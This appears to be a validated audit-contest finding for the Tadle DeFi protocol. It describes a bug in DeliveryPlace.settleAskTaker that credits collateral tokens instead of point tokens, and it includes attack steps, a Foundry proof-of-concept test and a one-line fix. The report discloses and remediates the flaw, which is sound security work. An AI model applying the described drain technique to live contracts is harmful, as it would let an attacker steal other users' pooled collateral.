Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Bid offers result in withdrawal of collateral instead of point token

dadekuma

Summary

NOTE: Similar to Ask offers result in withdrawal of collateral instead of point token but with a different root cause.
They are different issues with a different mitigation, and BOTH must be fixed.

Users receive the wrong kind of token after closing an ASK order.
Supposing a 1-1 token-point ratio:

  • If the BID offer has more points than the collateral this will result in user losing their funds

  • If the BID offer has less points than the collateral this can be used to drain the pool

Vulnerability Details

  1. Alice creates a BID offer for 1000 points and 2000 collateral

  2. Bob creates an ASK order to sell 500 points

  3. Alice settles 500 points on Bob order

  4. Alice closes the bid

  5. Alice is credited with 500 point token

  6. Alice withdraws, but she receives 500 collateral token instead of 500 point token (in this case she lost 500 collateral token)

  7. If offer points were higher than collateral, this can be leveraged to drain the pool instead

Point token address should be used here, not the maker token address:
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L387

Poc, run forge test --via-ir --match-test test_h3_bid_point_withdrawals_is_collateral -vv

function test_h3_bid_point_withdrawals_is_collateral() public {
​
address alice = makeAddr("alice");
address bob = makeAddr("bob");
​
// give funds to users
uint256 aliceInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, aliceInitialBalance);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
uint256 bobInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), bob, bobInitialBalance);
​
deal(address(mockUSDCToken), address(capitalPool), bobInitialBalance);
​
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
// alice creates offer
vm.startPrank(alice);
​
uint256 collateralAmount = 2000 * 1e18;
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000, //points
collateralAmount, //amount
10_000, //collateralRate
0, //eachTradeTax
OfferType.Bid,
OfferSettleType.Protected
)
);
​
address offer0Addr = GenerateAddress.generateOfferAddress(0);
​
// bob is taker
vm.startPrank(bob);
uint256 bobPoints = 500;
preMarktes.createTaker(offer0Addr, bobPoints);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
​
// move market status
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1e18,
block.timestamp - 1,
3600
);
​
vm.startPrank(alice);
uint256 alicePoints = 10_000 * 1e18;
deal(address(mockPointToken), alice, alicePoints);
mockPointToken.approve(address(tokenManager), type(uint256).max);
deliveryPlace.settleAskTaker(stock1Addr, 500);
deliveryPlace.closeBidOffer(offer0Addr);
vm.stopPrank();
​
​
// OFFER BID - TAKER/ORDER ASK
// alice
uint256 tokenAmount;
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 500 * 1e18, "point alice");
​
// bob
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 1000 * 1e18, "sales bob");
​
vm.startPrank(alice);
capitalPool.approve(address(mockUSDCToken));
uint256 USDCBeforeWithdrawal = mockUSDCToken.balanceOf(alice);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
​
// alice received collateral instead of points...
assertEq(mockUSDCToken.balanceOf(alice), USDCBeforeWithdrawal + bobPoints * 1e18, "alice collateral balance");
​
// alice did not receive any points
assertEq(mockPointToken.balanceOf(alice), alicePoints - bobPoints * 1e18, "alice point token balance");
vm.stopPrank();
} // forge test --via-ir --match-test test_h3_bid_point_withdrawals_is_collateral -vv

Impact

Impact: High (Protocol funds drained or high loss of user funds)
Likelihood: High (anyone can do it without pre-conditions)

Risk: Critical

Tools Used

Manual Review

Recommendations

In DeliveryPlace, change settleAskTaker:

function settleAskTaker(address _stock, uint256 _settledPoints) external {
IPerMarkets perMarkets = tadleFactory.getPerMarkets();
StockInfo memory stockInfo = perMarkets.getStockInfo(_stock);
​
(
OfferInfo memory offerInfo,
MakerInfo memory makerInfo,
MarketPlaceInfo memory marketPlaceInfo,
MarketPlaceStatus status
) = getOfferInfo(stockInfo.preOffer);
​
// rest of the code
​
uint256 settledPointTokenAmount = marketPlaceInfo.tokenPerPoint *
_settledPoints;
ITokenManager tokenManager = tadleFactory.getTokenManager();
if (settledPointTokenAmount > 0) {
tokenManager.tillIn(
_msgSender(),
marketPlaceInfo.tokenAddress,
settledPointTokenAmount,
true
);
​
tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
offerInfo.authority,
- makerInfo.tokenAddress,
+ marketPlaceInfo.tokenAddress
settledPointTokenAmount
);
}
​
// rest of the code
}

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L387

Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Appeal created

dadekuma Submitter
12 months ago
0xnevi Lead Judge
12 months ago
0xnevi Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.